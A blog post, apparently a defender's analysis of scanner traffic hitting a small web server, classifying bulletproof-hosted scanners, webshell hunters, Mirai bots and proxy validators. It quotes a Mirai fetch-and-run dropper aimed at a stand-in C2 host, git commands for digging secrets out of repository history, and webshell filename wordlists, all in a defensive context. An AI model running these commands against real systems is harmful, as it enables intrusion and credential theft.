Published on May 13, 2026
What This Is:
In four weeks, roughly 18,000 hostile requests hit a small Debian VPS running a Next.js portfolio site. None of them got in. All of them told a story.
I thought it would be fun to walk you guys through who's actually been knocking. Defenses (covered in this earlier post) handled everything, so I can show you the data without anybody actually being at risk. The defender's view of this traffic is "random bot attempts." That's fine for the purpose of writing a fail2ban rule. It's also wrong. Once you sort the requests by source ASN, User-Agent, timing, and target path, the noise resolves into a small number of distinct scanner businesses with different operational priorities. The access log is a free intel feed from inside a layered, commercialized industry running in parallel to the consumer web.
An example. At 01:25 UTC on a Wednesday, this hit the log:
2604:a880:400:d1:X:X:X:X - - [13/May/2026:01:25:32 -0500]
"GET /.env.swp HTTP/1.1" 404 6547 "-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Chrome/131.0.0.0 Safari/537.36"
An IPv6 source on a DigitalOcean prefix asked for the vim swap file of a .env. Not the .env. The .swp. When vim crashes or an SSH session drops mid-edit, the live buffer dumps to a .swp file, world-readable, indefinitely. If a tired developer was mid-paste of a production database password when their session died, that password is sitting in .env.swp right now. The scanner's author has internalized this. The modal target is a developer fixing production over SSH at 2 AM. One request, and the author of the request has already considered how I crash my editor.
That's what the recon tier looks like in 2026. One probe costs fractions of a cent at internet scale. One in ten thousand lands. The payoff is a credential worth four figures. Every probe in this report runs on the same economics. The rest of the post is who's sending them and why.
How I Sorted It:
Four weeks of probe traffic groups pretty cleanly into seven distinct operator classes, each showing up at different times of day, from different ASNs, with different scanner products and different target dictionaries.
| Cluster | Volume | ASN(s) | Country | Operator class | What they're after |
|---|---|---|---|---|---|
| Bulletproof-hosted scanners | ~12k | AS150303, AS47890, AS48090, AS213790 | US, RO, NL | Commercial recon products | Multi-stack secrets, framework recon |
| Cloud-burner VMs | ~2k | AS8075 (Azure) | BR, US, KR | Ephemeral source rotation | WordPress RCE, webshell hunt |
| Piggyback hunters | ~600 | AS8075 (Azure) | Multi-region | Parasitic ride-along | Pre-dropped PHP shells |
| Mirai family | ~80 | Residential broadband | Global | Self-replicating worm | IoT recruitment |
| CONNECT abusers | ~150 | Mixed bulletproof | EE, MD, RO | Proxy-chain validation | Anonymizing infra |
| Wrong-port scanners | ~200 | Mixed | Global | Non-HTTP service hunt | BlueKeep, SOCKS5, SSTP |
| Census operators | ~40 | AS8075 (Azure) | Multi-region | Service enumeration | Internet-wide port maps |
ASNs matter more than country here. The same operator can rent IPs in multiple countries while remaining the same business; the ASN catches that, the country code doesn't. AS8075 is Microsoft Azure. AS47890 is a small Romanian provider literally called "UNMANAGED LTD". AS48090 is TECHOFF in Amsterdam. AS213790 is Limited Network in Kerkrade. AS150303 is SoloRDP in Dallas. The last four are bulletproof networks, hosting providers that explicitly don't respond to abuse complaints. Reporting attackers there is a no-op.
The work was unglamorous: grep, awk, sort, uniq -c to find the loudest source IPs and most-requested paths; ipinfo.io lookups for each IP to identify the ASN and reverse-DNS; reading the User-Agent strings each source rotates through; reading the actual paths each one requests. After fifteen or twenty IPs the patterns start to surface. Request shape, UA rotation, timing, wordlist content; each of those tells on the tooling.
Cluster I: Bulletproof Scanners
Largest cluster by volume and the most internally diverse. Each subcluster is a separately-tooled operator renting cheap VPS on a network that won't reply to abuse@.
After mapping the clusters, I sent some passive reconnaissance back at the loudest scanner IPs. Banner grabs, root-page fetches, TLS certs, deeper WHOIS. Read-only, no auth, nothing aggressive. The findings are folded into the subsections. Spoiler: some of the operators I had classified as separate businesses turn out to be customers of the same upstream wholesaler.
The Romanian Next.js Scanner
This is the one I went deepest on. The source is 193.32.162.X in AS47890 (UNMANAGED LTD, Timișoara), with .134 and .60 in the same /24 working in coordination. Over two days they generated 2,844 requests, all POSTs, all to exactly six paths:
POST / POST /_next POST /api
POST /_next/server POST /api/route POST /app
Each of those six paths got hit exactly 474 times. That number is the operator's victim-queue size: six paths walked once per target, 474 targets queued, total 2,844. UA rotates per request across mobile Safari, desktop Chrome 134, Firefox 136, and Edge 134. There is a deliberate 30-minute interval between burst sequences.
Every detail of the request shape tells on the tooling. The 30-minute pacing is calibrated around standard SIEM aggregation windows; 1-minute and 5-minute count-by-IP rules don't trip. The UA rotation defeats lazy WAF UA-pattern rules. The request shape itself, a POST to a Next.js-internal path with a malformed body, is the exact signature for Server Actions discovery in Next.js. The scanner is hunting for either CVE-2025-29927 (a middleware-bypass via the internal x-middleware-subrequest header, which when set on an external request causes auth middleware to skip itself) or CVE-2024-34351 (a Server Actions SSRF where a crafted Host header redirects server-side traffic to AWS instance-metadata at 169.254.169.254, which is the canonical "I can reach metadata" → "I have your AWS credentials" pivot).
00:23:48 POST / 400 Mobile Safari/537.36
00:23:48 POST /_next 400 Mobile/15E148 Safari/604.1
00:23:48 POST /api 400 Chrome/134
00:23:49 POST /_next/server 400 Mobile Safari/537.36
00:23:49 POST /app 400 Chrome/134
00:23:49 POST /api/route 400 Safari/537.36 Edg/134
[ 30 minute pause ]
00:58:28 POST / 400 ... (sequence repeats verbatim)
The CVE this scanner is built around disclosed March 2025. Within six weeks there was paid commercial tooling targeting it, with proper UA rotation and SIEM-aware pacing, sweeping the IPv4 space. The lag from CVE disclosure to operationalized scanner is shorter than most defenders' patch cycles.
The whois on 193.32.162.X confirms it. The announcing AS (AS47890, "UNMANAGED LTD", Timișoara) is Romanian. The IP's inetnum netname is DMZHOST, country code NL. Route announcement through one jurisdiction, IP residency in another. The bulletproof-hosting pattern in 2026 is to pick those independently so no single national subpoena reaches both.
I curled port 80 to see what was running there. The answer was anticlimactic:
$ curl -sI http://193.32.162.X/
Server: Apache/2.4.52 (Ubuntu)
$ curl -s http://193.32.162.X/ | head -5
<title>Apache2 Ubuntu Default Page: It works</title>
Unmodified default page. No scanner control panel exposed on the public web port. Whatever drives the scanner workload runs on an internal listener; the public HTTP on .28 is decorative. SSH banners across .28, .60, .134 are all Ubuntu OpenSSH, but with one anomaly: .60 and .134 carry full distro suffixes (Ubuntu-3ubuntu0.15, Ubuntu-3ubuntu13.16), while .28's reads SSH-2.0-OpenSSH_8.9p1 Ubuntu-3 with no patch suffix. The operator has edited sshd's banner on .28 specifically. Why that one box and not the other two is unclear from outside.
And then WHOIS. The /24 has netname: DMZHOST, despite the announcing AS being a Romanian-named entity ("UNMANAGED LTD"). And the abuse contact is dmzhostabuse@gmail.com. Hold onto that gmail address; it shows up again two subsections from now.
SoloRDP
103.215.75.X, with the PTR record XXX.XX.XXX.X.solordp.com (the provider doesn't even bother to anonymize their reverse DNS). AS150303 in Dallas. All 3,272 requests in a single 20-minute window, around 3 RPS, targeting a generic SPA admin wordlist:
102 each: /admin /api/contact /checkout /contact /dashboard
/login /newsletter /profile /settings /signin
/signup /subscribe
100 each: /search /register
Each path hit 102 times because the operator had 102 candidate victims queued. Same scanner-product family as the Romanian, opposite tempo. Sprinter vs marathoner. 3 RPS sustained for 20 minutes from a single source IP is cron, not a person, and somebody is paying the AS150303 hosting bill.
I poked at the brand. solordp.com is a real site, Cloudflare-fronted, sells Windows RDP from $3.99/month with datacenters in Moscow, Berlin, Frankfurt, Paris, and the US. Domain registered 2022 with WHOIS privacy through a Bahamas registrar. No "no-KYC" or "bulletproof" marketing on the landing page, just cheap monthly RDP. The entire BGP footprint of AS150303 is a single /23, 103.215.74.0/23, exactly 512 IPv4 addresses. The whole SoloRDP empire is half a /22. The scanner is a tenant on a 512-IP business.
TECHOFF Amsterdam (AS48090): Three Operators on One ASN
AS48090 hosts at least three distinct scanner operators on the same Dutch bulletproof network, each running a different scanner product against a different target set.
The first runs from 93.123.109.0/24 as Mozilla/5.0 (compatible; SecurityScanner/1.0), hunting PHP information-disclosure leaks: /phpinfo.php, /test.php, and an .npmrc probe for private-registry _authToken= values.
The second runs from 195.178.110.X and self-identifies as TLM-Audit-Scanner/1.0. Its wordlist is the most interesting part of this whole exercise. A sample:
/.wp-config.php.swp /wp-config.php.bak/.old/.new
/wp-content/mysql.sql /wp_mail_smtp.ini
/wp-json/wp/v2/users /.well-known/stripe.txt
/webhooks/incoming/stripe.json
/webmin/package-updates/update.cgi ← CVE-2019-15107 RCE
/var/task/nuxt.config.ts ← AWS Lambda working dir
/amplify/team-provider-info.json ← AWS Amplify metadata
/terraform.tfvars /appsettings.Staging.json
/workspaces/* ← VSCode dev-container artifacts
That wordlist is a list of what's already paid off for this operator. WordPress REST username enumeration (/wp-json/wp/v2/users returns the user list if unauth reads are on, which feeds the credential-spray that follows). Stripe webhook conventions. AWS Lambda's /var/task/ working directory, where misconfigured serverless-http setups can expose source files. Amplify team-provider metadata, .NET appsettings naming, Terraform variable files, VSCode dev-container artifacts. Every entry is a misconfiguration that has paid off enough times to be worth burning a request on every IP on the internet.
The third operator on AS48090 runs from 195.178.110.X with rotating browser UAs and a generic SPA wordlist. Indistinguishable in shape from SoloRDP. Different operator, same scanner product.
A light port probe on 195.178.110.X turned up port 8080 open in addition to SSH. The hypothesis was that 8080 is the operator's scanner control panel, so I sent it a single HTTP GET to see if it would identify itself. It did:
$ curl -sI http://195.178.110.X:8080/
HTTP/1.1 401 Unauthorized
Www-Authenticate: Basic realm="tlm-audit-scanner"
Content-Type: text/plain
The realm is literally tlm-audit-scanner. The operator named their admin panel after their own scanner product, gated it behind HTTP Basic auth, and bound it on the same IP as the scanner traffic itself. Every path on port 8080 returns the identical 401, which means there's a single auth wrapper around the whole app rather than per-route, consistent with a small Go service (the header casing Www-Authenticate, X-Content-Type-Options is Go's net/http-style). The SSH banner on port 22 reads SSH-2.0-OpenSSH_10.0p2 Debian-7+deb13u2: Debian 13 ("trixie"), recent patch level. Active host, not a forgotten burner.
I tried harder to fingerprint the panel, because the standard recon tricks usually leak something even past Basic auth.
The first one is OPTIONS. The HTTP spec says a server should respond to an OPTIONS request with an Allow: header listing the methods that path accepts. GET, POST, PUT, DELETE would tell you it's a CRUD admin app; GET, POST would suggest something simpler. Most frameworks emit this header automatically. This one doesn't:
$ curl -sI -X OPTIONS http://195.178.110.X:8080/
HTTP/1.1 401 Unauthorized
Www-Authenticate: Basic realm="tlm-audit-scanner"
Same 401 as every other method. The fact that even OPTIONS doesn't leak is the first sign the auth middleware sits in front of everything, including methods the application probably doesn't even implement.
The second trick is the favicon. This is the one Shodan made famous: every framework, dashboard, and admin panel ships a default favicon. The favicon is a small static file the server usually serves before authentication, because it's loaded by the browser tab while the user is still on the login page. You hash the file and look it up against Shodan's favicon database to identify the product, sometimes even down to the exact version. So I asked for /favicon.ico:
$ curl -s http://195.178.110.X:8080/favicon.ico
auth required
Fourteen bytes. The literal string auth required\n, the same body every other path returns. There's no favicon to fingerprint. The auth gate sits in front of static files too.
Third, a list of about twenty common health and debug endpoints that frameworks tend to leave unauthenticated by default: Kubernetes liveness probes (/healthz, /readiness, /liveness), Prometheus scrape endpoints (/metrics), Go's built-in performance profiler (/debug/pprof), OpenAPI / Swagger documentation (/openapi.json, /swagger.json, /api-docs), version stamps (/version, /api/version), and so on. Any of these returning a 200, or even a 401 without the tlm-audit-scanner realm string, would be a useful pivot. None of them did. They all returned the identical 401 with the identical 14-byte body.
Fourth, swapping the Host: header to common values: localhost, admin, scanner, panel. Internal admin panels sometimes respond differently to a hostname than to the bare IP, and you can coax them to reveal that hostname by guessing. Not this one. Identical 401 to every Host value, meaning the server runs as a single tenant on that IP rather than multiplexing by virtual host.
What's left to fingerprint is the framework itself, which I can guess from the shape of the 401 body. Go's gin framework returns {"error":"unauthorized"} JSON. Echo returns {"message":"Unauthorized"}. Fiber returns its own JSON shape. None of those ship a lowercase plaintext auth required\n body as a default. That body is consistent with the Go stdlib net/http package plus a one-line middleware that does http.Error(w, "auth required", 401), which appends the \n automatically. The Server header is absent, which is also Go stdlib's default. Best guess: hand-rolled middleware in raw Go stdlib, no framework, written by someone who knows what auth middleware should and shouldn't expose.
The takeaway is the operator's threat model. A scanner-running solo operator on a bulletproof Amsterdam VPS with their own initials in the realm string is paranoid enough to put the auth gate in front of static files, health endpoints, and the OPTIONS method. They've clearly considered who else might be running these exact probes against their panel. Whoever's initials the TLM are, they know how every other admin panel on the public internet leaks, and they built one that doesn't.
How isolated is this scanner? Shodan returns zero other hosts on the public IPv4 space exposing the realm="tlm-audit-scanner" string. GitHub code search returns zero hits for the user-agent. Russian/Chinese cybercrime forums: nothing. Telegram channel scrape: nothing. There is no public footprint for this product outside this single IP. AbuseIPDB has logged 6,249 abuse reports against 195.178.110.X from 1,001 distinct reporting sources since September 2025, meaning roughly a thousand admins have filed complaints in eight months. The TLM is probably the operator's initials. This is one person's bespoke tool, hosted on DMZHOST, hitting the IPv4 space hard enough to register on a thousand third-party logs.
And here's the gmail address again. The RIPE abuse-mailbox for this netblock is dmzhostabuse@gmail.com. The same address listed on the Romanian Next.js scanner block above, AS47890, registered to "UNMANAGED LTD" in Timișoara. Same admin-c handle (AD18161-RIPE). Two scanner operators I had classified as separate businesses, with different scanner products, different campaign tempos, different announcing ASNs in different countries, are customers of the same upstream wholesaler: DMZHOST.
DMZHOST is not a small brand. dmzhost.co has been operating since August 2015 as a self-described "offshore dedicated server" provider, marketing "Total Privacy" and a "Secured Netherland datacenter privacy bunker." The corporate trail is its own little rabbit hole. The 2017 Alek Boyd investigation that traced DDoS-for-hire infrastructure back to DMZHOST IPs documented a registrant by the name "Christian P" with a Seychelles address at a building pattern used by Mossack Fonseca shell companies. Control later passed to JUPITER 25 LIMITED in London, whose listed director (per Companies House public records) has over two hundred other UK companies attached to their name. Brand contact emails are chris@dmzhost.co and dmzhosts@protonmail.com. The RIPE abuse contact is the free Gmail address. The Wikipedia "Bulletproof hosting" article references DMZHOST. Spamhaus's "Anatomy of Bulletproof Hosting" writeup names them.
I pulled inverse RIPE lookups against the gmail abuse address and the AD18161-RIPE admin handle to see how much IP space sits under DMZHOST. The answer is seven IPv4 /24s totaling 1,792 IPv4 addresses, spread across two ASNs: AS48090 directly (the whole ASN is DMZHOST) and AS47890 (UNMANAGED LTD) as resold customer space. One block, 2.57.122.0/24, is dual-origin-announced from both ASNs at once; that lets the operator switch announcing networks instantly when one gets pressure. There are also two distinct RIPE organizations sharing the same gmail address and the same London N11 3NE physical address: ORG-TSL73-RIPE (TECHOFF SRV LIMITED, Companies House reg 16090235) and ORG-DL591-RIPE whose org-name: literally reads DMZHOST. ORG-DL591 was created October 4, 2024; TECHOFF added the matching abuse-contact role six weeks later. Two parallel legal entities in lockstep: if RIPE terminates one, the other keeps the address space. The maintainer on the secondary organization is CYBR-DMZ. Most country codes on these inetnums read AD for Andorra, which is geolocation-evasion since there is no Andorran datacenter infrastructure backing it.
The gmail-address-in-the-RIPE-record is not an oversight, it's the whole business model. Real corporate email lives at addresses the brand publishes on its website. Abuse complaints route to a free Gmail inbox the brand can credibly disavow. When a downstream /24 gets abusive enough that pressure builds, the operator rotates and the brand persists. Bulletproof hosting as a service, exactly the way you'd expect any other SaaS to be structured: a label on top, customers underneath.
There's also a tell in how DMZHOST sells itself. The dmzhost.co landing page is sanitized corporate-speak: "Total Privacy," "100Gbps IP network for companies who need the best possible European IP connectivity," "the best place in Europe to host your private IT infrastructure." Bland enterprise marketing, no DMCA language, no payment-method specifics. The actual product pitch lives in webmaster forums where customers find them. WebHostingTalk threads for DMZHOST are titled DMCA FREE | OffShore | LIR Service | DEDICATED UNSHARED Gbps Port and STREAMING - TORRENT - FREEDMCA - Full 1/10Gbps port! True NL BP ("True NL BP" = True Netherlands BulletProof). Their AUP allows P2P, game servers, Tor exit nodes, IRC, heavy bandwidth, video chat. It disallows phishing, DDoS, malware, and "Spamhaus SBL-related abuse." That last carveout is the tell: they will drop a tenant for getting them SBL-listed, but not for the underlying activity that earned the listing. Payment is Bitcoin by default; PayPal and bank transfer are "under request." Entry-tier dedicated server is around €120/month. The corporate landing page is the kayfabe. The forums are the actual product.
The customer reviews are also doing some work. A 2024 LowEndTalk thread has a customer posting that "DMZHost regularly attempts to break into their servers via SSH." Other paying customers of the same bulletproof shop are noticing that DMZHOST's IP space is scanning them. The wholesaler isn't curating its tenants; concurrent scanner operators are running campaigns out of the same /24s, and the noise is loud enough that lateral-neighbor customers complain about it on public forums.
Limited Network Kerkrade (AS213790)
Two coordinated IPs. The first, 192.253.248.X, is Laravel-specialized, asking for /laravel/.env, /server/.env, /staging/.env from a couple of weird, deliberately old User-Agents (one is Callpod Keeper for Android 1.0, the other is a 2001-vintage Windows 2000 / Opera 6.0 string). Neither would match any modern UA blocklist. The weirdness is intentional, not random.
The second, 172.94.9.X, self-IDs as GitFinder/1.0. 26 requests for /.git/config followed by SPA-route fingerprinting as fallback. GitFinder is the recon stage. If /.git/config returns 200, the next step is gitdumper.sh reconstructing the full repo history, then git log --all --full-history -p -S 'AKIA' plus git fsck --lost-found to surface dangling commits the developer thought they git reset --hard-ed away. Secrets-in-git-history has been a stable miss for fifteen-plus years.
Whois on both IPs is the part where the story turns. The /20 netname is PUREVPN. Org: "Secure Internet LLC." First question: is the consumer VPN service of the same name actually hosting scanner traffic? Into the ARIN records.
It isn't. The PUREVPN /20 (192.253.240.0/20) was allocated by ARIN to a Houston-based "Secure Internet LLC" on January 17, 2013. The registered Houston address is a CMRA, a commercial mail receiving agency, the kind of mailbox-store used by shell entities. The two /24s I'm seeing in my logs were sub-allocated to a different entity, "Secure Internet LLC (UK)," on February 2, 2026. The UK entity's address: 89 Bricks Lane Shoreditch. Brick Lane is misspelled. The actual building is a virtual-office strip. The abuse contact for the sub-allocation is abuse@btcloud.ro.
btcloud.ro is its own story. Domain registered January 19, 2025, less than seventeen months before it showed up in my access log as the abuse contact for that sub-allocation. The site is Cloudflare-fronted, runs a stock WHMCS billing portal, and markets Intel/AMD dedicated servers plus "Cloud KVM VPS" with the copyright "© 2026 Btcloud.ro" on the landing page. No Spamhaus SBL listings yet, no AbuseIPDB writeups, nothing in threat-intel circulation. Consistent with a brand-new reseller stood up specifically to take RIPE-level abuse responsibility for a freshly-carved /24.
The full mechanic, walked end to end. 2013: ARIN issues a /20 to a Houston "Secure Internet LLC" under the netname PUREVPN. The block accumulates clean reputation by age. The original use fades, the netname stays on the parent because nobody removes it. January 2025: a new domain btcloud.ro gets registered. Three weeks later, a new "Secure Internet LLC (UK)" appears at the misspelled-Brick-Lane virtual-office. February 2, 2026: /24s get sub-allocated from the legacy PUREVPN block to that UK entity, RIPE abuse contact btcloud.ro behind Cloudflare. The /24s start spraying Laravel-and-Git scans. When abuse pressure builds, the UK entity dissolves and a new one rotates in. The parent netname keeps reading PUREVPN. ARIN's org-search for "PUREVPN" returns no match, because there is no PUREVPN entity anymore. There's a label, on a block, that's been sliced up and resold.
That is the playbook for laundering scanner-source IP space through legacy ARIN reputation. btcloud.ro is roughly seventeen months old, subleasing space first registered when Obama was halfway through his second term, behind a netname that reads like a consumer privacy product.
The hosts themselves are anticlimactic. 192.253.248.X is running Apache 2.4.62 on CentOS Stream with PHP 8.0.30, a version that went end-of-life in November 2023. The scanner operator is running their attack infrastructure on two years of unpatched PHP. 172.94.9.X is stock Ubuntu 22.04 OpenSSH. Neither has TLS on 443 to leak operator domains. Neither has reverse DNS.
Cluster II: Cloud-Burner Azure VMs
Three Azure IPs in BR/US/KR, all in AS8075, all scanning in parallel. Multi-region is deliberate, since it flattens per-region rate-limit signal and complicates reputation correlation. Azure's abuse team is actually pretty responsive (hours, not days), but a $5 VM that survives long enough to run one wordlist sweep pays for itself many times over. Cloud credits become ammunition.
The targets they're actually after are more interesting than the infrastructure they're scanning from.
Cluster III: Piggyback Hunters
Webshells are persistence compressed into a single file. Almost always PHP. An attacker uploads one to a server after gaining initial access through some other exploit. Visit
/innocent.php, get a web UI for filesystem browsing, arbitrary command execution, SQL queries, and exfil. Family names matter because the default-password conventions are family-specific: WSO, c99, r57, b374k, Alfa, China Chopper. These are the names the operators in this cluster are about to spray.
The Azure cluster isn't exploiting anything. It assumes someone else already did, and it's looking for the webshell that previous attacker dropped so it can ride it. Original attacker pays for an exploit, target discovery, persistence. Piggyback hunter pays for a wordlist sweep. Same RCE, ~1% of the operational cost. The tier exists because compromise is common enough to be worth parasitizing.
A path sample from 20.206.76.X:
/0.php /1.php /2.php /3.php ... /8.php
/123.php /222.php /333.php /403.php /404.php /520.php /666.php
/6xBAm3vODE05BSzkJZRAws.php
/a1.php /a2.php /a3.php
/admin-header.php /admin.php /admir.php
/aevly.php /aghbvr.php /ahax.php
/alfa.php /cilus.php /css.php /cong.php
/ffile.php /iov.php /ouh.php /term.php /vx.php
Those are filenames, not paths. The patterns make a lot of sense once you see them.
Numeric obfuscation (/0.php, /123.php, /666.php) is how operators drop shells with names that don't catch the eye in ls.
Error-code disguises (/404.php, /403.php) look like a legit error handler the developer might have written. Don't get audited.
Named shell-family hits show up directly. /alfa.php is the Alfa Team webshell. /css.php is the canonical WSO disguise: it renders harmlessly when included via <link rel="stylesheet"> and executes PHP when hit directly.
High-entropy names like /6xBAm3vODE05BSzkJZRAws.php are what a sophisticated original-attacker uses when they want only themselves to know the filename. The piggyback hunter sweeps with a dictionary of "common-looking random names other attackers have used" hoping for collisions.
Operational consequence: the average compromised server on the internet probably has a small population of unrelated piggyback operators checking it concurrently. If your IR cycle assumes one attacker per incident, it's wrong.
Cluster IV: Mirai
139.59.224.X - - [13/May/2026:13:19:53 -0500]
"GET /.env.save HTTP/1.1" 301 162 "-"
"Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv)
AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0
Chrome/60.0.3112.107 Moblie Safari/537.36"
Three typos: Mozlila, Bulid, Moblie. Mozilla, Build, Mobile. Hardcoded strings in the original Mirai scanner.c, dropped on Hack Forums by Anna-Senpai in late 2016. Every fork inherits them: Hajime, Mozi, IZ1H9, Moobot, Aisuru. The single most reliable IoT-botnet fingerprint in HTTP traffic in 2026 is a 2016 typo that nobody ever bothered to fix.
Mirai is industrialized IoT conscription. A scanner running from a previously-compromised IoT node sweeps the IPv4 space, attempts a fixed list of N-day router and camera exploits (CVE-2017-17215 Huawei HG532, CVE-2018-10561/10562 GPON, CVE-2023-1389 TP-Link Archer, plus the long tail), and on success drops a multi-architecture binary that joins the C2. The new node starts scanning. The dropper chain is:
busybox wget http://<C2>/bins/<arch>.bin -O /tmp/x
chmod +x /tmp/x && /tmp/x &
The binary tries every architecture in sequence because the IoT ecosystem is genuinely heterogeneous. A reboot kills the implant, but the recruitment scan-rate refills the botnet faster than reboots drain it. Operators care about aggregate firepower, not which specific nodes are members. The botnet sprays first and classifies later.
When a Mirai-family bot hits a Linux web server it doesn't know what it is hitting. It sprays its full exploit list anyway. The /.env.save request in the specimen above is just "while I'm here, may as well try the obvious."
The Mirai-family ecosystem in 2026 is dominated by a specific successor variant called Aisuru-Kimwolf, which security researchers have started classifying as "TurboMirai." Aisuru-Kimwolf is currently estimated at one to four million compromised IoT nodes globally, primarily consumer broadband routers and IP cameras running similar OEM firmware. It is responsible for the largest hyper-volumetric DDoS attacks on record: 31.4 terabits per second, 14.1 billion packets per second, and HTTP DDoS exceeding 200 million requests per second. Chunks of the botnet are rented out as DDoS-as-a-service on Discord and Telegram. Typical pricing: $10 to $50 for a sixty-second subnet shot. The customer base is mostly Minecraft-server feuds and small-business extortion, not nation-state actors. 31 Tbps is enormously overprovisioned for the actual demand, which is why it occasionally gets pointed at banks, media properties, and game-publisher origin servers for reasons that have nothing to do with the original buyer.
On March 19, 2026, the U.S. Department of Justice announced a coordinated takedown of C2 infrastructure for Aisuru, KimWolf, JackSkid, and Mossad botnets, with enforcement operations spanning Canada and Germany. The DDoS volume from Aisuru dropped briefly. By April it was largely back. This is the takedown-and-recover cycle that defines the Mirai-family ecology: enforcement actions reduce capacity for a few weeks, then recruitment scans (exactly the kind that hit my server in this dataset) refill the botnet from the same pool of unpatched CPE devices that existed before.
139.59.224.X, the first Mirai-typo source in my logs, is DigitalOcean Singapore. SSH-22 banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.16, stock current-patch Ubuntu 24.04. Every web port refuses connection. No reverse DNS. Textbook profile of a compromised throwaway DigitalOcean droplet: default Ubuntu image, no webserver, owner either rented it out or got rooted, scanning outbound while presenting almost no fingerprint inbound. Mirai-family scanners traditionally run from compromised IoT, but the recruitment pool now also includes compromised cloud VMs. Same scanner.c UA, very different source-IP reputation.
And it's not just one droplet. The dataset has a second Mirai-typo source, 168.144.37.X, which is also DigitalOcean (AS14061, Broomfield CO block). Same archetype: SSH on 22 only, every other common port closed, no reverse DNS, no inbound fingerprint. Two different DigitalOcean regions, same operator playbook. The "Mirai" hitting my server in 2026 isn't running from compromised residential routers and IP cameras anymore. In this dataset it's running entirely from paid cloud VMs at two different DigitalOcean regions, paying real money per node, and emitting the same 2016-leaked scanner.c UA. The botnet pulls scan capacity from wherever it's cheapest, and DigitalOcean is currently very cheap.
Cluster V: CONNECT-Method Proxy Abuse
This one is reconnaissance for building proxy chains. The HTTP CONNECT method is the standard way a client asks an HTTP proxy to open a TCP tunnel to a destination. My nginx isn't a forward proxy, so all 141 of these returned 400, but the targets the attackers asked to tunnel to are diagnostic.
53 hits 89.42.231.X CONNECT 46.166.165.X:805
36 hits 185.91.127.X CONNECT www.google.com:443
16 hits 130.12.180.X CONNECT api.ipify.org:443
4 hits 89.190.156.X CONNECT 8.8.8.8:80, 1.1.1.1:80, 208.67.222.222:80
2 hits 93.123.109.X CONNECT ip.ninonakano.jp:443
Operators route hostile traffic through chains of unrelated open proxies to obscure attribution. Building the chain requires validating each hop, which is what we're seeing here. Send a CONNECT, parse the response, mark every IP that returns 200 Connection established as a working hop. api.ipify.org is the canary because it echoes back the caller's public IP as plain text, the fastest test for "is this proxy actually masking my source." 1.1.1.1, 8.8.8.8, 208.67.222.222 test reachability from filtered network paths. None of these scanners profile the target before sending. A static Next.js portfolio gets the same CONNECT probe as a misconfigured corporate gateway. Pre-validation isn't worth the bandwidth at this scale.
The 89.42.231.X attempts to 46.166.165.X:805 look different. Port 805 is not a standard service. That's probably the operator testing reachability into their own existing infrastructure, checking which of their compromised relays are still alive.
Whois on 89.42.231.X is more revealing than I expected. The netname is SC-AMARUTU-20051129, org is Amarutu Technology Ltd (Seychelles country code), and the announcing AS is AS206264, KoDDoS, a Seychelles-fronted "DDoS-protection" reseller that has been a known bulletproof tenant for years. Abuse contact: abuse@koddos.com. Notably a real corporate email, not a free Gmail address. KoDDoS is a different tier than the gmail-fronted DMZHOST microcarrier model from Cluster I: it's a "real" bulletproof shop with its own abuse infrastructure, customer-facing branding, and corporate addresses. Inbound TCP to 89.42.231.X is fully firewalled (22, 80, 443, 8080 all time out), which means investigators can't fingerprint the box from outside. Hardened scanner-source infrastructure as a paid product.
I also pulled the other CONNECT-validator IPs in this cluster, and one of them ties directly back into the DMZHOST profile from Cluster I. 93.123.109.X, sender of two CONNECT probes against ip.ninonakano.jp:443, sits inside the exact same DMZHOST /24 (93.123.109.0/24, netname TECHOFF_SRV_LIMITED, abuse dmzhostabuse@gmail.com, admin AD18161-RIPE) that hosts the SecurityScanner/1.0 PHP-info-disclosure scanner from Cluster I. On port 8080 it serves an HTTP 200 with a dark-themed Tailwind login UI titled httpReqSender - 登录 (Chinese for "login"). httpReqSender is a Chinese open-source HTTP-request-sender / proxy-testing tool. So a single /24 inside DMZHOST is concurrently hosting at least two unrelated abusive workloads: the PHP-info scanner from earlier in the post, and now this CONNECT-method open-proxy validator running a Chinese-tool admin panel on the same address space. The DMZHOST wholesale model in microcosm.
The other three CONNECT-validators are on different wholesalers entirely (Tube-Hosting in Germany, OmegaTech-AS in Seychelles routed through a US/GB shell chain, Alsycon B.V. in NL), with one outlier: 89.190.156.X on Alsycon is hardened the same way KoDDoS is, every port times out inbound. Four CONNECT abusers, four different wholesalers, three operational tiers (cheap-VPS with stock OpenSSH banners; hardened-egress-only paid bulletproof; DMZHOST-sublease).
None of this cluster is about me. If one of those probes had landed, my server would have become a hop in an anonymization chain pointed at someone else's target.
Cluster VI: Wrong-Port Scanners
This cluster generates the weirdest-looking access-log entries: binary garbage in the HTTP method field.
30 hits \x05\x02\x00\x02 ← SOCKS5 greeting
25 hits \x16\x03\x02\x01o... ← TLS 1.1 ClientHello on port 80
22 hits \x03\x00\x00\x13\x0E\xE0 ← RDP X.224 (BlueKeep scanner)
11 hits \x03\x00\x00/*\xE0...Cookie: ← RDP cookie field probe
6 hits SSTP_DUPLEX_POST ← Microsoft SSTP VPN
6 hits PRI * HTTP/2.0 ← HTTP/2 prior-knowledge
These are scanners checking whether non-HTTP services might be running on a port that's commonly HTTP. The RDP probes (X.224 Connection Request format) are the most operationally significant. They are scanning for BlueKeep, CVE-2019-0708, an unauthenticated wormable RCE in unpatched Windows 7 and Server 2008 R2 RDP. The vulnerability is six years old at this point. The scans still run because finding an unpatched legacy Windows box on the public internet is a high-value find, and the probe is free.
A related signature: 153 of 158 PROPFIND requests in my dataset came from one source, 46.151.178.X, all hitting /. PROPFIND is the WebDAV method targeted by CVE-2017-7269, an unauth RCE in the IIS 6.0 WebDAV stack. IIS 6.0 has been end-of-life since 2015. The scan still pays.
Recon on 46.151.178.X: SSH banner SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13 (Ubuntu 20.04), web ports refused, no reverse DNS. Netname NL-DEMENIN-20101207, org Demenin B.V. (Netherlands), abuse contact abuse@demenin.net. Demenin is a small Dutch hosting reseller frequently used as a cheap VPS launchpad for legacy-CVE scanners.
